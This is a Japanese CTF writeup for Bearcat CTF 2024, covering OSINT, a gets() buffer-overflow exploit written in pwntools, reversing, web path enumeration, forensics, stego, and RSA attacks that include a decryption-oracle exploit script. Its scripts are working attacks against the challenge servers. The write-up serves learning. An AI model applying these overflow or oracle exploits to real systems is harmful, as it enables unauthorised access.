Bearcat CTF 2024 Writeup

この大会は2024/2/4 4:00(JST)~2024/2/5 4:00(JST)に開催されました。
今回もチームで参戦。結果は6300点でした。順位や参加者数は不明です。
自分で解けた問題をWriteupとして書いておきます。

Parisian Adventure (OSINT 400)

写真の場所をGoogle mapでコードと合わせて答える問題。

$ exiftool is_it_paris.png 
ExifTool Version Number         : 12.57
File Name                       : is_it_paris.png
Directory                       : .
File Size                       : 537 kB
File Modification Date/Time     : 2024:02:04 08:50:58+09:00
File Access Date/Time           : 2024:02:04 08:59:42+09:00
File Inode Change Date/Time     : 2024:02:04 08:50:58+09:00
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 908
Image Height                    : 375
Bit Depth                       : 8
        :
        :
Background Color                : 255 255 255
Pixels Per Unit X               : 4724
Pixels Per Unit Y               : 4724
Pixel Units                     : meters
Modify Date                     : 2024:01:15 20:25:29
Software                        : N/A
Image Size                      : 908x375
Megapixels                      : 0.341
GPS Latitude                    : 22 deg 8' 39.00" N
GPS Longitude                   : 113 deg 33' 47.00" E
GPS Position                    : 22 deg 8' 39.00" N, 113 deg 33' 47.00" E

Google mapで「22°8'39.00"N 113°33'47.00"E」を調べると、以下のコードと場所になっている。

4HV7+M67 Cotai, Macao
BCCTF{4HV7+M67 Cotai, Macao}

Password Buffer (pwn 700)

Ghidraでデコンパイルする。

bool main(void)

{
  int iVar1;
  time_t tVar2;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Welcome to my password comparison tool!");
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  iVar1 = check_auth();
  if (iVar1 != 0) {
    puts("Access denied");
  }
  else {
    __stream = fopen("flag.txt","r");
    fgets(local_78,100,__stream);
    printf("The flag is: %s",local_78);
    fclose(__stream);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 != 0;
}

void check_auth(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_4c;
  char local_48 [32];
  char local_28 [17];
  undefined local_17;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  for (local_4c = 0; local_4c < 0x11; local_4c = local_4c + 1) {
    iVar1 = rand();
    local_28[local_4c] = (char)iVar1 + (char)(iVar1 / 0x19) * -0x19 + 'a';
  }
  local_17 = 0;
  printf("Please enter your password: ");
  fflush(stdout);
  gets(local_48);
  printf("The password was \"%s\"\n",local_28);
  strcmp(local_48,local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

パスワード入力時にBOFでlocal_28を書き込み、同じ文字列になるようにする。

#!/usr/bin/env python3
from pwn import *

p = remote('chal.bearcatctf.io', 32927)

password = b'pass'
payload = password + b'\x00' * (32 - 4) + password + b'\x00'

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvuntil(b'}').decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to chal.bearcatctf.io on port 32927: Done
Welcome to my password comparison tool!
Please enter your password: b'pass\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00pass\x00'
The password was "pass"
The flag is: BCCTF{K1nDa_WI1d_p4w0Rd_Th3r3_601fd5b4}
[*] Closed connection to chal.bearcatctf.io port 32927
BCCTF{K1nDa_WI1d_p4w0Rd_Th3r3_601fd5b4}

Simple Mystery (rev 300)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  int local_c;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  setup();
  for (local_c = 0; local_c < 0x12; local_c = local_c + 1) {
    iVar1 = what_mystery(0,0x25);
    putchar((int)(char)flag[iVar1 % 0x25]);
  }
  puts("\n\nThat is all we can really get you, good luck.");
  return 0;
}

void abcd(void)

{
  memcpy(flag + 0x14,"4se_4_All_ThI2gS}",0x12);
  return;
}

                             flag[20]                                        XREF[2,2]:   Entry Point(*), main:004012a6(*), 
                             flag[37]                                                     abcd:004011f5(*), 
                             flag                                                         setup:00401206(W)  
        00404060 42 43 43        undefine
                 54 46 7b 
                 53 6f 4c 
           00404060 42              undefined142h                     [0]                               XREF[2]:     Entry Point(*), main:004012a6(*)  
           00404061 43              undefined143h                     [1]
           00404062 43              undefined143h                     [2]
           00404063 54              undefined154h                     [3]
           00404064 46              undefined146h                     [4]
           00404065 7b              undefined17Bh                     [5]
           00404066 53              undefined153h                     [6]
           00404067 6f              undefined16Fh                     [7]
           00404068 4c              undefined14Ch                     [8]
           00404069 76              undefined176h                     [9]
           0040406a 31              undefined131h                     [10]
           0040406b 6e              undefined16Eh                     [11]
           0040406c 36              undefined136h                     [12]
           0040406d 5f              undefined15Fh                     [13]
           0040406e 54              undefined154h                     [14]
           0040406f 48              undefined148h                     [15]
           00404070 33              undefined133h                     [16]
           00404071 5f              undefined15Fh                     [17]
           00404072 43              undefined143h                     [18]
           00404073 00              undefined100h                     [19]
           00404074 00              undefined100h                     [20]                              XREF[1]:     abcd:004011f5(*)  
           00404075 00              undefined100h                     [21]
           00404076 00              undefined100h                     [22]
           00404077 00              undefined100h                     [23]
           00404078 00              undefined100h                     [24]
           00404079 00              undefined100h                     [25]
           0040407a 00              undefined100h                     [26]
           0040407b 00              undefined100h                     [27]
           0040407c 00              undefined100h                     [28]
           0040407d 00              undefined100h                     [29]
           0040407e 00              undefined100h                     [30]
           0040407f 00              undefined100h                     [31]
           00404080 00              undefined100h                     [32]
           00404081 00              undefined100h                     [33]
           00404082 00              undefined100h                     [34]
           00404083 00              undefined100h                     [35]
           00404084 00              undefined100h                     [36]
           00404085 00              undefined100h                     [37]                              XREF[1]:     setup:00401206(W)  

flagのコードを文字にし、"4se_4_All_ThI2gS}"を結合する。

#!/usr/bin/env python3
codes = [0x42, 0x43, 0x43, 0x54, 0x46, 0x7b, 0x53, 0x6f, 0x4c, 0x76, 0x31, 0x6e, 0x36, 0x5f, 0x54, 0x48, 0x33, 0x5f, 0x43]

flag = ''
for code in codes:
    flag += chr(code)

flag += '4se_4_All_ThI2gS}'
print(flag)
BCCTF{SoLv1n6_TH3_C4se_4_All_ThI2gS}

toll_bridge (rev 700)

Ghidraでデコンパイルする。

void main(void)

{
  int iVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  byte local_308;
  byte local_307;
  byte local_306;
  undefined local_208 [504];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  puts("you approach a bridge with a toll gate.");
  puts("toll booth guy: \'GIMME YOUR TOLL\'");
  printf("Enter in your wallet:\n\n> ");
  fflush(stdout);
  memset(&local_308,0,0x100);
  __isoc99_scanf("%[^\n]",&local_308);
  iVar1 = check(&local_308);
  if (iVar1 == 0) {
    iVar1 = strcmp("go_away_toll_man",(char *)&local_308);
    if (iVar1 == 0) {
      puts("you told the toll booth guy to go away!");
      puts("the toll booth guy shot and killed you with his laser eyes for being rude");
    }
    else if ((byte)(local_306 | local_308 | local_307) == 0) {
      puts("The bridge collapses under the weight of your args");
      puts("You fall to your death");
    }
    else {
      puts("toll booth guy: \'AGH! NO MONEY NO CROSSING\'");
      puts("The toll booth guy drop kicks you off the bridge and you die");
    }
  }
  else {
    puts("toll bridge guy accepts your toll");
    puts("you cross the bridge and find a stone with a flag in it");
    __isoc99_fscanf(__stream,"%[^\n]",local_208);
    printf("the flag reads: %s\n",local_208);
  }
  fclose(__stream);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

int check(char *param_1)

{
  int iVar1;
  int iVar2;
  long in_FS_OFFSET;
  uint local_22c;
  char local_228 [256];
  char local_128 [4];
  undefined local_124;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  strncpy(local_228,param_1,3);
  for (local_22c = 0; local_22c < 3; local_22c = local_22c + 1) {
    local_128[local_22c] = param_1[local_22c + 3];
  }
  local_124 = 0;
  iVar1 = bribe(local_228);
  iVar2 = toll(local_128);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar2 + iVar1;
}

bool bribe(char *param_1)

{
  bool bVar1;
  
  if ((int)param_1[2] + (int)param_1[1] == 0) {
    bVar1 = false;
  }
  else if (((*param_1 == '\0') || (param_1[1] == '\0')) || (param_1[2] == '\0')) {
    bVar1 = false;
  }
  else {
    bVar1 = (int)param_1[2] + ((int)*param_1 - (int)param_1[1]) == 0x30;
  }
  return bVar1;
}

bribe関数でtrueを返すようにすればフラグが表示される。1の位に0を指定し、10の位と100の位に同じ数値を指定すればよい。例えば110を指定する。

$ nc chal.bearcatctf.io 32610
you approach a bridge with a toll gate.
toll booth guy: 'GIMME YOUR TOLL'
Enter in your wallet:

> 110
toll bridge guy accepts your toll
you cross the bridge and find a stone with a flag in it
the flag reads: BCCTF{GoTta_PaY_Th4t_tR01L_t0L1_1c0457c5}
BCCTF{GoTta_PaY_Th4t_tR01L_t0L1_1c0457c5}

No Humans (web 500)

http://chal.bearcatctf.io:48605/robots.txtにアクセスすると、UserAgentとアクセス先のパスが大量に書いてある。該当するUserAgentを指定し、各パスにアクセスすることをスクリプトで実行し、フラグが書かれているページを探し出す。

#!/usr/bin/env python3
import requests

with open('robots.txt', 'r') as f:
    lines = f.read().splitlines()

ua = ''
for line in lines:
    if line.startswith('User-agent: '):
        ua = line.split(': ')[1]
        headers = {'User-Agent': ua}
    elif line != '':
        path = line.split(': ')[1]
        url = 'http://chal.bearcatctf.io:48605' + path
        print('[+] UserAgent:', ua, ' / Path:', path)
        r = requests.get(url, headers=headers)
        if 'BCCTF' in r.text:
            print('**** Found! ****')
            print('[+] UserAgent:', ua)
            print('[+] Path:', path)
            print('**** content ****')
            print(r.text)
            break

実行結果は以下の通り。

        :
        :
[+] UserAgent: HumanRebels  / Path: /JUjhp7EfQCz.wasm
[+] UserAgent: HumanRebels  / Path: /dVKdyjza5e0bl.css
[+] UserAgent: HumanRebels  / Path: /WsUsrvTI4tLO.wasm
[+] UserAgent: HumanRebels  / Path: /Baohf2Z5O921i5s.html
**** Found! ****
[+] UserAgent: HumanRebels
[+] Path: /Baohf2Z5O921i5s.html
**** content ****
<html>
    <head>
        <Title>Robot Lair</Title>
        <link rel="stylesheet" type=text/css href="/css/bootstrap.cyberatuc.css">
    </head>
    <body>
        <header class="navbar navbar-expand-auto navbar-dark mb-3" style="background-color: black;">
        <div class="container">
            <a id="cyberatuc-logo" class="navbar-brand justify-content-start" href="https://www.cyberatuc.org">
            <img alt="Cyber@UC Chapter Logo" height=60 src="/img/main_logo.svg">
            </a>

            <div class="navbar-nav justify-content-center">
            <h1 class="nav-brand text-white">No Humans</h1>
            </div>
            <ul id="main_nav" class="navbar-nav justify-content-end">
            </ul>
        </div>
        </header>
        <div class="container">
            <div class="row">
                <p>Alright, now that the humans are gone. Make sure to record the flag: <b>BCCTF{Th1s_Is_wHy_Hum4ns_N33d_4ppLy}</b>. This will be important for later... wait how did you get here. We are compromised. <i>Connection Terminated</i></p>
            </div>
        </div>
    </body>
</html>
BCCTF{Th1s_Is_wHy_Hum4ns_N33d_4ppLy}

Needle in a Haystack (forensics 300)

問題文では変な箇所が大文字になっている。つなげるとICMPになるので、icmpでフィルタリングしてみる。No.39236パケットにbase64文字列が含まれている。この文字列をデコードする。

$ echo QkNDVEZ7VGhpc0lzQU5lZWRsZX0= | base64 -d
BCCTF{ThisIsANeedle}
BCCTF{ThisIsANeedle}

Best Painting (stego 700)

StegSolveで開き、Red plane 0を見ると、フラグが現れた。

BCCTF{WhY_iS_BiAnK_So_Exp3nSivE}

Many Encode (crypto 300)

hexデコードする。

$ echo 343234333433353434363762353733343639353435663638333035373566343433303635373335663534363833313335356634383334373035303435366533663764 | xxd -r -p
42434354467b573469545f6830575f443065735f546831355f48347050456e3f7d

さらにhexデコードする。

$ echo 343234333433353434363762353733343639353435663638333035373566343433303635373335663534363833313335356634383334373035303435366533663764 | xxd -r -p | xxd -r -p
BCCTF{W4iT_h0W_D0es_Th15_H4pPEn?}
BCCTF{W4iT_h0W_D0es_Th15_H4pPEn?}

Difference of P (crypto 700)

NをFermat法で素因数分解して、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

C = 1974980851853019257771773253811679794137241209581612326758022524735213521549252839752456399226743
N = 22124683985039812698470600343255891405990431861180855450772516395200335369863431601013187704080051
e = 65537

p, q = fermat(N)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(C, d, N)
flag = long_to_bytes(m).decode()
print(flag)
BCCTF{F3rMaT_yOu_BugG3r}

Terrific Hill (crypto 700)

4×4の行列を使ったHill暗号と推測し、平文と暗号文のペアからブルートフォースで復号鍵を求める。フラグの暗号の長さは16の倍数でないため、パディングして復号し、パディング部分の平文を削除する。

#!/usr/bin/env python3
from string import *

CT = 'ZXIUUHJRJKWSWFBNFXIIBRTSMJCNCVHM'
PT = 'WHYISTHEREPEOPLEONMYHILLNOONECAN'

CS = []
for i in range(2):
    C = []
    for j in range(4):
        raw = []
        for k in range(4):
            raw += [ascii_uppercase.index(CT[i * 16 + j * 4 + k])]
        C += [raw]
    CS += [C]

PS = []
for i in range(2):
    P = []
    for j in range(4):
        raw = []
        for k in range(4):
            raw += [ascii_uppercase.index(PT[i * 16 + j * 4 + k])]
        P += [raw]
    PS += [P]

K = [[-1 for _ in range(4)] for _ in range(4)]

for i in range(4):
    for a in range(26):
        for b in range(26):
            for c in range(26):
                for d in range(26):
                    success = True
                    for j in range(4):
                        v0 = (a * CS[0][j][0] + b * CS[0][j][1] + c * CS[0][j][2] + d * CS[0][j][3]) % 26
                        v1 = (a * CS[1][j][0] + b * CS[1][j][1] + c * CS[1][j][2] + d * CS[1][j][3]) % 26
                        if v0 != PS[0][j][i] or v1 != PS[1][j][i]:
                            success = False
                            break
                    if success:
                        K[0][i] = a
                        K[1][i] = b
                        K[2][i] = c
                        K[3][i] = d

enc = 'ENCREOHCXTWYOAENURRZEXXTVGKLEPOPTVRE'
pad_len = 16 - len(enc) % 16
enc += 'X' * pad_len

flag = ''
for i in range(0, len(enc), 16):
    ct = enc[i:i+16]
    ct = [ascii_uppercase.index(c) for c in ct]
    for j in range(16):
        v = 0
        v += ct[j // 4 * 4 + 0] * K[0][j % 4]
        v += ct[j // 4 * 4 + 1] * K[1][j % 4]
        v += ct[j // 4 * 4 + 2] * K[2][j % 4]
        v += ct[j // 4 * 4 + 3] * K[3][j % 4]
        v %= 26
        flag += ascii_uppercase[v]

flag = flag[:-pad_len]
print(flag)
BCCTFZZFUNAWITHHILLAWNDOTHERPEOPLEZZ

Olivia's Oracle (crypto 1000)

サーバの処理概要は以下の通り。

・key: key.pemをインポート
・flag: flagの数値化
・c = pow(flag, key.e, key.n)
・seen_hashes = [cの文字列化したもののsha256]
・cを表示
・以下繰り返し
 ・msg: 入力
 ・msgが"ENCRYPT:"で始まる場合
  ・handle_encrypt_message(msg)
   ・msg: msgの":"区切りの配列
   ・smsg: msgのインデックス1の要素
   ・res = encrypt_message(smsg)
    ・msg: smsgを数値としてパース
    ・ctx = pow(msg, key.e, key.n)
    ・ctxを表示
    ・Trueを返却
   ・resがFalseの場合、エラー
 ・msgが"DECRYPT:"で始まる場合
  ・handle_decrypt_message(msg)
   ・msg: msgの":"区切りの配列
   ・rmsg: msgのインデックス1の要素
   ・res = decrypt_message(rmsg)
    ・msg: smsgを数値としてパース
    ・h: msgの文字列化したもののsha256
    ・hがseen_hashesにあった場合、Falseを返却
    ・p = pow(msg, key.d, key.n)
    ・pを表示
    ・Trueを返却
   ・resがFalseの場合、エラー
 ・msgが"KEY:"で始まる場合
  ・handle_key_message()
   ・n, eを表示

フラグを暗号化したcがわかり、素数でなければ以下のように表せる。

c = c1 * c2

c1とc2の復号は以下のように表せる。

p1 = pow(c1, d, n)
p2 = pow(c2, d, n)

あとはこの掛け算をすれば、フラグの数値を算出できる。

p1 * p2 % n= pow(c1, d, n) * pow(c2, d, n) % n = pow(c1 * c2, d, n)
        = pow(c, d, n) = p
#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.bearcatctf.io', 36242))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

c = int(data.split(' ')[-1])

for c1 in range(2, 1024):
    if c % c1 == 0:
        break

c2 = c // c1

msg = 'KEY:'
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(':')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)
e = int(data.split(':')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)

msg = 'DECRYPT:' + str(c1)
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
p1 = int(data)

msg = 'DECRYPT:' + str(c2)
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
p2 = int(data)

p = (p1 * p2) % n
flag = long_to_bytes(p).decode()
print(flag)

実行結果は以下の通り。

Welcome to Olivia's Shared Message Encryption System
Ciphertext of Flag: 9660781791858184769153132190461807553117357056155302412820310521546374651595189558577932859888800249912341764800720974150589465621000783138438122681788824460761738132259235364337876697410960164607237133389558445784148009308009376025011895457847259821484987441417726528815991837236665857768648954936910835832504589451357856856287637873871460770523072402655400242567887740302149122959010641004914059087271244327262186660343609314133746471855983862187501283378849139303838418588590064394584676229483058205594031241273563918770931551618491048702002263184524517503361833682405707800544276397433348507115797599565832957460
KEY:
N:30041599491728993686066568162491695488103191710138752930533217847752754371415670990516324862673730836329856113920704653640849599365361751724702411351011112126641201052838903004275878621594765918484960778194958319203481284612861459662378554797163059773269965325018212470229522050686945260190748571136958740830398648811963424487670468372115863578856795549607007358342953973934227516140058845293812086740036358264857673377597319457979610815822935469488515774505626666211699106188807426772490649425816051622351079710613821487239384776920816183447491905113473364766904199465445771921866546714995863931251779472482199866947
E:65537

DECRYPT:2
517480846584794711665761328477278309137411904609222949734988377890294607686552144619035499058411654006113289504478651461958621583832850441058935586444443018035556422643462700422085400286638934653068673124455992026750853620250536452555991612212993026257275960921864772424106890771166521300441254180140431194622996390657957820981942311431077754983222460185724863068450742144850998625959332621379234380862615105071563933945756005357101984687307062324151206759915894705643604835811409854804579392567314276027184745132005231450814644075531037953684709360061947720881768130627434328264435335169097703922060980339009612172
DECRYPT:4830390895929092384576566095230903776558678528077651206410155260773187325797594779288966429944400124956170882400360487075294732810500391569219061340894412230380869066129617682168938348705480082303618566694779222892074004654004688012505947728923629910742493720708863264407995918618332928884324477468455417916252294725678928428143818936935730385261536201327700121283943870151074561479505320502457029543635622163631093330171804657066873235927991931093750641689424569651919209294295032197292338114741529102797015620636781959385465775809245524351001131592262258751680916841202853900272138198716674253557898799782916478730
11005056800178540755893431232780676792795142547413469848495725054779587098755723325324537035472568439170671718177173397776939478740364984817942431399240981099062124478551263189643324776265175927301505526191786494395411168756302700101160204480178310533447463308511665008407424844779776499272732804846199205831234074586089958732443124876895176442833382735882327514104467504745012179369806535529090854475693788588062239136871952542056959333348224571416795119095164921481466009422326871284089480284102219406600320676441434155310425294810005398431331196533166567842263503906219402826678768792766623222961953640454023482005
BCCTF{Th3_0rACl3_OlIv1a_iS_Never_wR0nG}
BCCTF{Th3_0rACl3_OlIv1a_iS_Never_wR0nG}